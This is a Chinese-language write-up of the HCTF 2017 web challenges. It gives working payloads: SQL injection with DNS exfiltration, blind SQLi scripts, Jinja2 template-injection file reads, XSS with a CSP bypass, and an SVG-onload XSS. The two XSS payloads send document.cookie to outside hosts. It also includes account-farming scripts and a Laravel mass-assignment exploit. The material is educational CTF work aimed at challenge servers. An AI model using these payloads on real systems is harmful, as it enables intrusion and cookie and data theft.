美文网首页网络安全实验室
HCTF 2017 writeup(web)

HCTF 2017 writeup(web)

作者: zhazhami | 来源:发表于2017-11-14 23:23 被阅读853次

    第一次AK web,大佬们很厉害。。

    easy_sign_in

    直接看证书,看到一个flag in,后面有一个ip,http://123.206.81.217/,访问得到flag

    babycrack

    网页里面有个=_=.js,先格式化js,梳理之后逻辑大概是这样的:

    1. _0x180a存储了一些包括各种函数名的字符串(经过一次移位)
    2. _0xa180以函数的形式取_0x180a的内容
    3. _0x2e2f8d同样存储了一些字符串
    4. check函数,通过表示flag正确

    其中check函数分为几步(设s为输出串):
    1)取s的前四位,已经给出为hctf,并对_0x2e2f8d做移位操作

    var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
    var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
           ... 这里有段eval好像没用直接删了 ...
    (function(_0x3291b7, _0xced890) {
          var _0xaed809 = function(_0x3aba26) {
          while (--_0x3aba26) {
               _0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
          }
       };0xaed809(++_0xced890);
    }(_0x2e2f8d, _0x5cea12 % 0x7b));
    

    2)将s以"_"为分隔符分割,并做一系列验证(设为s[0],s[1],...)

    var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
    

    3)s[0]检查:

    r _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)]( - 0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
    if (!_0x34f55b) {
        return ! [];
    }
    

    4)s[2]检查:

    b2c = function(_0x3f9bc5) { ... }
    ... 这里一段反调试的也可以删了 ...
    e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
    if (e != 0x4b7c0a73) {
         return ! [];
    }
    

    随便试了一下b2c的结果,发现s[2]得为2位才有可能通过,爆破了一下,s[2]为iz
    5)s[3]检查:

    f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
    if (f != 0x4315332) {
         return ! [];
    }
    

    和s[2]基本一样,爆破出来为s0
    6)s[1]检查:

    j = a_sub[0x1].split('3');
    if (j[0x0].length != j[0x1].length || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
                return ![];
    }
    k = x => x.charCodeAt() * 7;
    l = h(j[0x0], k);
    if (l != 0x2f9b5072) {
        return ![];
    }
    

    s[1]中间是3,共5位,爆破一下为rev3rse,所以前面大概就是hctf{xx_rev3rse_iz_s0,猜测前面xx位置大概就是js之类的了
    7)s[4]检查

    if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
         return ! [];
    }
    ... ...
    

    同理爆破一下得到s[4]的前几位是h4rd,后面的判断比较混乱,没有唯一解,但结合题目hint,得出s[4]是h4rd23ee3333}
    8)s[0]不确定,试了js不对,结合hint的sha256,爆破出来flag为

    hctf{j5_rev3rse_iz_s0_h4rd23ee3333}

    boring website

    资料参考:https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
    题目环境:

    • windows
    • mysql 3306(扫描发现)
    • mssql

    www.zip存在文件泄漏,index.php存在明显的注入
    Hint:linked servername是mysql,理论上是从mssql连到mysql上0.0
    突破思路,利用 mssql注入,调用 mysql 执行sql语句,waf过滤较严,但load_file未过滤,查询结果通过dns外带数据获取,构造payload如下:

    http://106.15.53.124:38324/?id=3;SELECT * FROM OPENQUERY(mysql,'SELECT LOAD_FILE(CONCAT("\\","www3.xxxxx.ceye.io\foobar"))')

    image
    image

    poker2

    import requests
    import time
    ​
    S = requests.session()
    ​
    ​
    def reg(string):
        url = "http://petgame.2017.hctf.io/login/register.php?bname=%s&sex=2&head=2&bc=2&username=%s&pass=%s" %(string,string,string)
        print "the reg info "+S.get(url).content
    ​
    def get_inf(string):
        url = "http://petgame.2017.hctf.io/passport/dealPc.php"
        payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
        print "login result "+S.post(url,data=payload).content
        print "the username is " + string
        url = "http://petgame.2017.hctf.io/function/User_Mod.php"
        content = S.get(url).content
        shui_pos = content.find("水晶")
        print content[shui_pos:shui_pos+15]
        wei_pos = content.find("威望")
        print content[wei_pos:wei_pos+15]
        chong_pos = content.find("宠物")
        print content[chong_pos:chong_pos+15]
        yuan_pos = content.find("元宝")
        print content[yuan_pos:yuan_pos+15]
        ji_pos = content.find("积分")
        print content[ji_pos:ji_pos+15]
    ​
    def get_task(string):
        url = "http://petgame.2017.hctf.io/passport/dealPc.php"
        payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
        print "login result "+S.post(url,data=payload).content
        print "the username is " + string
        url = "http://petgame.2017.hctf.io/function/taskshow.php?title_vary=3&bid=2&rd=0.38350920765076046"
        content = S.get(url).content
        print content
    ​
    ​
    def main():
        for i in range(300,400):
            tmp = "louys"+str(i)
            reg(tmp)
            #get_task(tmp)
            time.sleep(2)
    ​
    ​
    if __name__ == '__main__':
        main()
    

    刷到一个40多w水晶的号,在商店购买了一波以后,发现还是要打怪。
    于是写了一个attack.py来刷怪。

    import requests
    import re
    from threading import Thread
    import sys
    import random
    ​
    S = requests.session()
    ​
    attack_url = "http://petgame.2017.hctf.io/function/FightGate.php?id=1&g=%s&checkwg=checked&rd=%s"
    #gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=89&bid=2448&rd=0.4393741597904868"
    gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1"
    #gg_url="http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.22476699386060095&team_auto=1"
    ​
    header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1",
               "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
    #header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.7697414015208284&team_auto=1",
     #           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
    ​
    ​
    ​
    header2 = {"Referer":"http://petgame.2017.hctf.io/index.php",
               "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
    ​
    def log():
        url = "http://petgame.2017.hctf.io/passport/dealPc.php"
        string = "louys303"
        payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
        S.post(url,data=payload,headers=header2,timeout=2).content
    ​
    ​
    def attack(g):
        target = attack_url % (g,str(random.random()))
        content = S.get(url=target,headers=header1,timeout=1).content
        print content
    ​
    def get_gg():
        content = S.get(gg_url,headers=header2,timeout=1).content
        gg = re.findall(r"gg=\[(.*)\]",content)[0]
        gg = gg.split(",")[-1]
        return gg
    ​
    def main():
        log()
        while True:
            try:
                gg = get_gg()
                attack(g=gg)
                attack(g=gg)
                attack(g=gg)
            except KeyboardInterrupt:
                sys.exit()
            except Exception as e:
                print e
                pass
    ​
    if __name__ == '__main__':
        main()
        pass
    

    在各种服务器用nohup狂开N个进程后得到flag。

    A World Restored

    审查流量,发现了几个不合理的地方:
    1). 将敏感信息token置于get请求上;
    2). 未登录访问页面时会有一个重定向,但重定向url未作验证。

    image
    提交http://messbox.2017.hctf.io/login.php?n_url=http://vpsweb
    能成功在vps上拿到用户token,使用该token访问在cookie里成功获取flag
    image

    SQL Silencer

    突破点还是注入,过滤很多,最终的突破方法是布尔注入payload如下
    http://sqls.2017.hctf.io/index/index.php?id=2^1
    http://sqls.2017.hctf.io/index/index.php?id=2^0
    http://sqls.2017.hctf.io/index/index.php?id=2^(bool)
    响应分析:
    正常结果:alice、bob、cc、only 3 user
    语句错误:there in no thing
    触发waf:nonono
    查询flag表数据容易触发语法错误,通过count(1)/count()被过滤*/得到flag表存在两行数据,但是这里的payload需要结果为一行,利用count(1)特性,使结果为一行通过where条件进行布尔构造得到所查询的数据值,详细payload过程如下

    image
    exp:
    purl = "http://sqls.2017.hctf.io/index/index.php?id=2^((select(count(1))from(flag)where(binary(flag)<%s))>0x00)"#./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
    rec="0x"
    ans = ""
    for i in range(255):
        l=0
        r=255
        while(l<r):
            mid = (l+r+1)/2
            payload = rec+ num2hex(mid)
            pUrl = turl % payload
            print pUrl
            if "Cc" in requests.get(pUrl).content:
                r= mid-1
            else:
                l = mid
            print l,r
        rec = rec + num2hex(l)
        ans = ans + chr(l)
        print ans
    

    这里能注入一行数据,发现是个目录,猜测另一行可能是个文件名,故继续注入下一行数据,利用count(1)配合where flag>0xXXXX结果为 0,1,2的特点注入得到令一行数据得到What_U_n33d_1s_under_m2,对于解题无用,但是得到此方法
    后来发现目录下为一Typecho,利用公开exp


    image

    发现在uploads目录下有一个shell 密码是c连接上后发现flag在/flag_is_here/flaghctf{WowwoW_U_F1nd_m3_e218ca012}

    poker-poker

    网站根目录(报错回显):
    /home/website/default/
    注入点:
    http://petgame.2017.hctf.io/login/register.php?bname=e&sex=2&head=6&bc=2&username=time-based&pass=sqlmap
    sqlmap直接跑出。

    A World Restored Again

    测了一遍只有用户名能插尖括号(访问登录时返回的带token那一长串url就行),但是script,on都被过滤了,另外还有CSP。
    1)XSS Bypass
    网上找到一个<iframe srcdoc="xxx">这样的payload,xxx可以实体编码,绕过关键字过滤。
    2)CSP Bypass
    网站有一个jsonp的url:http://auth.2017.hctf.io/getmessage.php?callback=Update,这个Update可以替换成自定义的内容,所以只要插一个script,并且src为http://auth.2017.hctf.io/getmessage.php?callback=alert(1)// 这样就行了,然后接收cookie的时候用location或者open绕就行了
    3)字符限制Bypass
    用户名有长度限制,并且打cookie的时候长度限制更严,于是各种缩减字符,最终的payload:

    <iframe srcdoc=&lt;s&#99ript/src=//auth.2017.hctf.io/getmessage.php?callback=open(`//zzm.fun?c=`%2bdocument.cookie)&gt&lt/s&#99ript&gt>
    

    最后打到cookie中的flag:flag为hctf{mayb3_m0re_way_iz_best_for_ctf}

    Repeater

    jinja模板注入,过滤了引号,双下划线,另外也只能用过滤器“|”使用自带的函数。搜到一篇文章https://0day.work/jinja2-template-injection-filter-bypasses/ 讲了bypass的基本思路
    1)"|"后面不能接字母之类的,可以用"|%09"绕过
    2)引号,双下划线Bypass
    用jinja的request对象从请求参数中获取字符串,比如:

    secret={{request.args.a}}&a=bbb
    

    用join连接字符串引入双下划线,比如:

    secret={{requests|attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)}}&class=class&usc=_
    

    3)过滤了"["和"]"的Bypass
    列表a的取值用(a).pop(index),字典a的取值用(a.values()).pop(index)
    再结合常规的python沙盒绕过思路,首先从request.class.mro[-1]中取出object类,再从object类的subclasses()[59].init.__func_globals[25].dict[12]里找os模块。
    测试过程中发现popen读不到东西,可能是没权限,于是用os.listdir()列目录,附上payload:

    secret={%set%09i=request|%09attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)|%09attr((request.args.usc*2,request.args.mro,request.args.usc*2)|%09join)|%09last%09%}{%set%09j=%09(i|%09attr((request.args.usc*2,request.args.subc,request.args.usc*2)|%09join)()).pop(59)|%09attr((request.args.usc*2,request.args.init,request.args.usc*2)|%09join)%}{%set%09k=(j.func_globals.values()).pop(25)|%09attr((request.args.usc*2,request.args.dict,request.args.usc*2)|%09join)%}{{(k.values()).pop(12).listdir(request.args.payload)}}&class=class&mro=mro&subc=subclasses&usc=_&init=init&line=linecache&dict=dict&payload=/
    

    列了一下发现有个"/h3h3_1s_your_flag/flag"文件,然后从上面取得的object类的subclasses()[40]里取file对象读文件,payload:

    secret={%set%09i=request|%09attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)|%09attr((request.args.usc*2,request.args.mro,request.args.usc*2)|%09join)|%09last%09%}{%set%09j=%09(i|%09attr((request.args.usc*2,request.args.subc,request.args.usc*2)|%09join)()).pop(40)(request.args.file).read()%}{{j}}&class=class&mro=mro&subc=subclasses&usc=_&file=/h3h3_1s_your_flag/flag
    

    读到flag为hctf{bl4ck_l1st_1s_e4sy_t0_bypass_1d81c5a2}

    Who are you?

    新头像和名字,shop里面有flag可以购买,但是钱不够。
    然后发现买不存在的商品的时候会报错(http://gogogo.2017.hctf.io/shop/4),泄露出laravel的源码:

    $balance = Info::find(Auth::id())->amount;
    if ($balance >= $prize) {
         return view('message', ['message' => $item->note]);
    }
    

    会取一个amount字段然后和物品价格比较。
    另外尝试改一个超长的名字,成功引起数据库报错,泄露源码。发现改信息这里会接收所有请求参数并update:

    $info = Info::where('id', Auth::id())->update($request->all());
    return redirect()->route('home');
    

    于是尝试传进去一个amount=999,成功购买flag

    hctf{csgo_is_best_fps_game_dA3jf}

    Deserted place

    有report bug,有message,有csp。
    看上去像是一道xss题目。
    发现用户的编辑结果在http://desert.2017.hctf.io/edit.php?callback=EditProfile中是被转义的,但是在访问个人页面的时候会触发xss,是个self-xss。
    观察js代码

    function UpdateProfile(){
        var username = document.getElementById('user').value;
        var email = document.getElementById('email').value;
        var message = document.getElementById('mess').value;
    ​
        window.opener.document.getElementById("email").innerHTML="Email: "+email;
        window.opener.document.getElementById("mess").innerHTML="Message: "+message;
    ​
        console.log("Update user profile success...");
        window.close();
    }
    ​
    function EditProfile(){
        document.onkeydown=function(event){
            if (event.keyCode == 13){
                UpdateProfile();
            }
        }
    }
    ​
    function RandomProfile(){
        setTimeout('UpdateProfile()', 1000);
    }
    

    发现RandomProfile函数会自动触发UpdateProfile函数,而UpdateProfile函数有一个很诡异的地方就是会通过opener来修改父窗口的email和mess的内容。

    function random(){
        var newWin = window.open("./edit.php?callback=RandomProfile",'','width=600,height=600');
        var loop = setInterval(function() { 
          if(newWin.closed) {  
            clearInterval(loop);  
            update();
          }  
        }, 1000);
    ​
    };
    

    而父窗口中,发现当子窗口退出后会自动触发update操作,这个时候才会取得cstftoken来进行更新操作。
    http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx,这里的user是可控的,页面内容就可控。就有机会通过opener来修改admin的email和message。
    初步思路:

    1. 注册一个xxx账号
    2. 修改xxx的message为payload
    3. 通过report功能使得admin访问某个页面
    4. 某个页面打开子窗口为xxx的属性页
    5. 等待触发RandomProfile中的UpdateProfile,便可修改父窗口

    问题在于我们需要找到一种方法使得父窗口为admin的主页,查找资料后发现一种叫做some攻击的姿势。
    可以在打开子窗口后跳转到admin的主页,来实现修改,但是不能触发update操作。于是使用svg标签的onload来触发xss。
    <svg/onload="window.location='http://xxx?a'+document.cookie">
    把xxx账号的属性修改为如上内容。

    <!DOCTYPE html>
    <html>
    <head>
        <title>test</title>
    </head>
    <body>
    <script type="text/javascript">
        window.open("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx",'','width=600,height=600');
        window.location="http://desert.2017.hctf.io/user.php";
    </script>
    </body>
    </html>
    

    然后让admin访问如上页面就能触发xss,flag在cookie中

    A true man can play a palo one hundred time

    这道题的大意是保持一个平衡木的平衡。假如现在一个人正处在平衡木的中点,move=0就是让人向x轴正方向移动,move=1就是让人向x轴负方向移动。我们可以得到每次移动后我们所在的极坐标。只要控制极坐标的两侧参数x和θ就可以一直玩下去。玩100次以后得到flag。脚本如下:

    from requests import get
    import json
    
    def abs(x):
            if x > 0:
                    return x
            else:
                    return -x
    
    def o(x):
            if (x >= 0):
                    return 1
            return -1
    
    url = "http://ezgame.2017.hctf.io/game?id=Your_Token&move={direction}"
    
    d = 0
    weight = 0.4
    msx = 1
    mst = 1
    
    mx = 0.1
    mt = 0.15
    
    while True:
            print "Move: ", d
            r = get(url.format(direction=d))
            print r.text
            j = json.loads(r.text)
            x = j['observation'][0]
            sx = j['observation'][1]
            t = j['observation'][2]
            st = j['observation'][3]
            if (not j['status']):
                    print "Failed..."
                    break
            else:
                    # stage 1
                    r1 = int(abs(x) > mx)
                    r2 = int(abs(sx) > msx)
                    r3 = int(abs(t) > mt)
                    r4 = int(abs(st) > mst)
                    r = 0
                    r += -1 * r1 * (abs(x) - mx) * o(x)
                    r += -1 * r2 * (abs(sx) - msx) * o(sx)
                    r +=  1 * r3 * (abs(t) - mt) * o(t)
                    r +=  1 * r4 * (abs(st) - mst) * o(st)
    
                    if ( r != 0):
                            d = int(r > 0)
                            continue
    
                    # stage 2
                    r = 0
                    r += (st - sx) * weight
                    r += (t - x) * (1-weight)
                    d = int(r > 0)
    

    相关文章

      网友评论

        本文标题:HCTF 2017 writeup(web)

        本文链接:https://www.haomeiwen.com/subject/xseqvxtx.html